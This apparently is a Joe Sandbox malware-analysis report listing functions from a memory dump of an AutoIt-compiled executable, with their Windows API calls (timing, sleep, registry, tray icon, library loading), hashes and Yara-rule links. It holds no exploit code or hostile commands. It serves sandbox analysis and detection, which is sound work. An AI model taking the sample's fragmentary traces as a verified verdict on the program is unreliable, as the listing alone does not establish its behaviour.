Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: a1e13436a5e48a3c6e6b52010d991a8e0d2f67fe40f9feec9b6293f5e89502e2
Instruction ID: 47cdfb0a0841a492764020c2847db6be634061f84057245f614745287d8fd009
Opcode Fuzzy Hash: a1e13436a5e48a3c6e6b52010d991a8e0d2f67fe40f9feec9b6293f5e89502e2
Instruction Fuzzy Hash: 37F03A755402907BEB310B2BAC18E772EFDD7C6F50B54455EFA04A31A0EAA10840DBB8

Function 00B4E97B Relevance: 7.5, APIs: 5, Instructions: 47
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 00B4E997
QueryPerformanceFrequency.KERNEL32(?), ref: 00B4E9A5
Sleep.KERNEL32(00000000), ref: 00B4E9AD
QueryPerformanceCounter.KERNEL32(?), ref: 00B4E9B7
Sleep.KERNELBASE ref: 00B4E9F3

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: cd2e10bf5c8b1219ba67b4215aedc967ad616df5422a49c7efdb8a13ab1141db
Instruction ID: 6074cdffa947f5db6e6c9e1ac4a5db99bbdd98914d3f880aa74f0dfe52459276
Opcode Fuzzy Hash: cd2e10bf5c8b1219ba67b4215aedc967ad616df5422a49c7efdb8a13ab1141db
Instruction Fuzzy Hash: 02011731C01629DBCF00AFE5E959AEDBBB8FB09711F40059AE516B2281CB309694DBA1

Function 00AE3B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00AE3B0F,SwapMouseButtons,00000004,?), ref: 00AE3B40
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00AE3B0F,SwapMouseButtons,00000004,?), ref: 00AE3B61
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,00AE3B0F,SwapMouseButtons,00000004,?), ref: 00AE3B83

Strings

Control Panel\Mouse, xrefs: 00AE3B3E

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 5051472e4372ab3d9245acbc1617ec097e628987074a9151d7c1c3d3ec60a405
Instruction ID: 6904a6572de4cc3c8de5bdfb26b18ce4935779630d64c5ec16285d4e6d3acc5c
Opcode Fuzzy Hash: 5051472e4372ab3d9245acbc1617ec097e628987074a9151d7c1c3d3ec60a405
Instruction Fuzzy Hash: DA112AB6510248FFDF218FA6DC48AAEBBB8EF44744B104559E806D7110D6719F4097A0

Function 00AE3923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00B233A2

Part of subcall function 00AE6B57: _wcslen.LIBCMT ref: 00AE6B6A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 00AE3A04

Strings

Line: , xrefs: 00B233EB

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: IconLoadNotifyShell_String_wcslen
String ID: Line:
API String ID: 2289894680-1585850449
Opcode ID: 526eaa78dd3c68351bc6778ba7274ea558b1fd606c768d9d31dd47da8ea90211
Instruction ID: 58f37d8a9b77774550880ec86f7d7c65b80aad342195fbd0829fb5fefbb821e1
Opcode Fuzzy Hash: 526eaa78dd3c68351bc6778ba7274ea558b1fd606c768d9d31dd47da8ea90211
Instruction Fuzzy Hash: 5331D672408380ABC721EB15DC59BEB77E8AF40710F104A6EF599830D1EFB09A48C7C6

Function 00AFFDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00B00668

Part of subcall function 00B032A4: RaiseException.KERNEL32(?,?,?,00B0068A,?,00BB1444,?,?,?,?,?,?,00B0068A,00AE1129,00BA8738,00AE1129), ref: 00B03304

__CxxThrowException@8.LIBVCRUNTIME ref: 00B00685

Strings

Unknown exception, xrefs: 00B00692

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: f75855774746a864e438132617c5d7f196ccba8ee34606b1ea0d7675d6119d1f
Instruction ID: 29281aeda8b3ab51f4f7474c12df1cec26d4c8b542b8c7e677bb3495b78ef9b9
Opcode Fuzzy Hash: f75855774746a864e438132617c5d7f196ccba8ee34606b1ea0d7675d6119d1f
Instruction Fuzzy Hash: 59F0FC3490020D7BCB00B6A4DC46E6D7FED9E00354F6045F1B924D65D1EF71EA25C5C0

Function 00AE10F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE1BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00AE1BF4
Part of subcall function 00AE1BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 00AE1BFC
Part of subcall function 00AE1BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00AE1C07
Part of subcall function 00AE1BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00AE1C12
Part of subcall function 00AE1BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 00AE1C1A
Part of subcall function 00AE1BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 00AE1C22

Part of subcall function 00AE1B4A: RegisterWindowMessageW.USER32(00000004,?,00AE12C4), ref: 00AE1BA2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00AE136A
OleInitialize.OLE32 ref: 00AE1388
CloseHandle.KERNEL32(00000000,00000000), ref: 00B224AB

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 81b3ff166e34e941e37e2fd37ef365b9f9b71046e2081b942fdc594c80d98ca6
Instruction ID: fd1caa30f0aedf15a1e9bff3f146303aeeeecdf419bd8be9ba1966b984661c41
Opcode Fuzzy Hash: 81b3ff166e34e941e37e2fd37ef365b9f9b71046e2081b942fdc594c80d98ca6
Instruction Fuzzy Hash: 1F71A8B59112408FC3A4EF7EAD656A53BE4BBA83407E48B6ED41AC7361EFB08401CF51

Function 00B4C161 Relevance: 4.6, APIs: 3, Instructions: 74timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE3923: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00AE3A04

Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00B4C259
KillTimer.USER32(?,00000001,?,?), ref: 00B4C261
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00B4C270

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: IconNotifyShell_Timer$Kill
String ID:
API String ID: 3500052701-0
Opcode ID: 5ffef9bf6461df918ca2b1408fd5e32c1171b28db9f184ca33af34f9075021e2
Instruction ID: 8f33fe630ff70d0052aa0729621274ba56fb4607c938e1579f6603277e4d2fd9
Opcode Fuzzy Hash: 5ffef9bf6461df918ca2b1408fd5e32c1171b28db9f184ca33af34f9075021e2
Instruction Fuzzy Hash: CB319370905344AFEB629F648895BE7BFECAB06708F0004DED6DEA7241C7B45B84DB51

Function 00B186AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(00000000,00000000,?,?,00B185CC,?,00BA8CC8,0000000C), ref: 00B18704
GetLastError.KERNEL32(?,00B185CC,?,00BA8CC8,0000000C), ref: 00B1870E
__dosmaperr.LIBCMT ref: 00B18739

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification__dosmaperr
String ID:
API String ID: 490808831-0
Opcode ID: 152c5368e0c3c6af03c93a3f5895044384fd55c0a822d18d3367926c932d7096
Instruction ID: 1dd1515f4e29dfab3550371c3697d915d070dff8d2a5c9815b66c7bf70cdfc6e
Opcode Fuzzy Hash: 152c5368e0c3c6af03c93a3f5895044384fd55c0a822d18d3367926c932d7096
Instruction Fuzzy Hash: D8012B3260562057D674633468857FE6BC99BD1774FB902DEF8199B1D2DEB08CC18154

Function 00AEDB38 Relevance: 4.5, APIs: 3, Instructions: 29windowsleepCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 00AEDB7B
DispatchMessageW.USER32(?), ref: 00AEDB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00AEDB9F
Sleep.KERNELBASE(0000000A), ref: 00AEDBB1
TranslateAcceleratorW.USER32(?,?,?), ref: 00B31CC9

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchPeekSleep
String ID:
API String ID: 3288985973-0
Opcode ID: ddb7ef9f91aabcb1b0ecbf42833b7ab422c9096ca2587eb63aa37f696171fc69
Instruction ID: cff981f863377661e9e9e2359ccc52e3d5e6f13a831ff773d4f9a0648ffd32e4
Opcode Fuzzy Hash: ddb7ef9f91aabcb1b0ecbf42833b7ab422c9096ca2587eb63aa37f696171fc69
Instruction Fuzzy Hash: 3EF05E306043809BE734CBA5DC99FEA77ECEB44310F604A1DE61A970D0EF7098888B25

Function 00AF1310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00AF17F6

Strings

CALL, xrefs: 00AF17C6

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 56cb0c70390d9da918c718350592f69dab896bfdc310785c651ccc1ce479672c
Instruction ID: 0af94c1e81b7b353cf22a2c6f155921b60ee97872646d975c154cc578e4bacb3
Opcode Fuzzy Hash: 56cb0c70390d9da918c718350592f69dab896bfdc310785c651ccc1ce479672c
Instruction Fuzzy Hash: 5E229970608205DFC714DF64C490A3ABBF1BF99354F24896DF69A8B3A2D771E845CB82

Function 00AE2DE3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 00B22C8C

Part of subcall function 00AE3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00AE3A97,?,?,00AE2E7F,?,?,?,00000000), ref: 00AE3AC2

Part of subcall function 00AE2DA5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00AE2DC4

Strings

X, xrefs: 00B22C5A

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X
API String ID: 779396738-3081909835
Opcode ID: aaded155b94744b0f7e24f73abdea71abbbe22c8d466e3f98146d51b4f60133c
Instruction ID: ceda47a92dbfde08de779caeba14824fbba8528a885db47c776fb234bc2c1e17
Opcode Fuzzy Hash: aaded155b94744b0f7e24f73abdea71abbbe22c8d466e3f98146d51b4f60133c
Instruction Fuzzy Hash: 3E21D571A00298AFCF01EF95C849BEE7BFCAF49304F044059E409E7241DFB45A898FA1

Function 00AE3837 Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000000,?), ref: 00AE3908

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: f6787b41d7fdb918936a0df7cf25401839bc9eda75907b5f30d651f11dda218a
Instruction ID: d8baf47d08577c8f4785192f54edf41b7aa2e6c863da26c1e35ac289cb4d7735
Opcode Fuzzy Hash: f6787b41d7fdb918936a0df7cf25401839bc9eda75907b5f30d651f11dda218a
Instruction Fuzzy Hash: 8731A2715043419FD720DF29D8987A7BBF8FB49708F00096EF69A83240EBB1AA44CB56

Function 00AFF645 Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00AFF661

Part of subcall function 00AED730: GetInputState.USER32 ref: 00AED807

Sleep.KERNEL32(00000000), ref: 00B3F2DE

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: InputSleepStateTimetime
String ID:
API String ID: 4149333218-0
Opcode ID: 88c02c5e231db5ecd52afc1e4891b8fd770f2938b50bf001568578202d864cdc
Instruction ID: cb8e779155c41db5158c281c503b61d6869f484469eeedaf5de12c4b5024071f
Opcode Fuzzy Hash: 88c02c5e231db5ecd52afc1e4891b8fd770f2938b50bf001568578202d864cdc
Instruction Fuzzy Hash: 82F08C312402459FD314EF6AD949B6ABBE8EF45760F00002DF95EC73A1DF70A840CBA0

Function 00AEB710 Relevance: 2.1, APIs: 1, Instructions: 587COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00AEBB4E

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: 653354927f5605b34dae1eb5e0149f4eac65ee7c760f352b32281211b87c902f
Instruction ID: da4c5ffe8882bccb641c58cd3c08b2b42fad225ff150e2e00f0b9bdd8f37936f
Opcode Fuzzy Hash: 653354927f5605b34dae1eb5e0149f4eac65ee7c760f352b32281211b87c902f
Instruction Fuzzy Hash: A832BD74A10249DFDB24DF59C9A8ABFB7F5EF48300F248099E905AB261C774ED41CBA1

Function 00B72598 Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,000000FE,00000000,00000000,00000000,00000000,00000013,00000001,?), ref: 00B72649

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: d9df757d1d2be97266e80865b858a3de8045fe628d8d91eae77a0f476dc06f99
Instruction ID: 317d37de242905d7ce85b62a191cc3beb2cd8e66c23501afcd15df33b2857f52
Opcode Fuzzy Hash: d9df757d1d2be97266e80865b858a3de8045fe628d8d91eae77a0f476dc06f99
Instruction Fuzzy Hash: 7221C274200215AFD710DF15C8D0936B7E9EB54368B24C0ADE86A8B392CB71ED41CB90

Function 00B713B7 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000001,?), ref: 00B71420

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 8b60eed2f766c437b871cfc3bdbe64d86b1ab519fafae0fa393c469e2932a0e6
Instruction ID: f217ee02276f4fc42ea8dbc871bdac7332f22d28413b9d46ae2848a748a27e90
Opcode Fuzzy Hash: 8b60eed2f766c437b871cfc3bdbe64d86b1ab519fafae0fa393c469e2932a0e6
Instruction Fuzzy Hash: C6317C30604242AFD714EF29C495B69B7E2FF45328F4485A8E86A4B392DB71EC41CFE0

Function 00AE4ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE4E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00AE4EDD,?,00BB1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00AE4E9C
Part of subcall function 00AE4E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00AE4EAE
Part of subcall function 00AE4E90: FreeLibrary.KERNEL32(00000000,?,?,00AE4EDD,?,00BB1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00AE4EC0

LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,00BB1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00AE4EFD

Part of subcall function 00AE4E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00B23CDE,?,00BB1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00AE4E62
Part of subcall function 00AE4E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00AE4E74
Part of subcall function 00AE4E59: FreeLibrary.KERNEL32(00000000,?,?,00B23CDE,?,00BB1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00AE4E87

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: fc280eac66f10abaf68fb9b910e18046565582827e5b262130455020b2d6b42b
Instruction ID: fc0f4db33f51213c89c94dba9787fcb2ed697616b926d6ef2caad60a1802627a
Opcode Fuzzy Hash: fc280eac66f10abaf68fb9b910e18046565582827e5b262130455020b2d6b42b
Instruction Fuzzy Hash: 0A11E332600305AACB14FB72DD02FAD77E9AF48F10F20882DF546A61D1EE749A459B50

Function 00B18402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00B18440

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
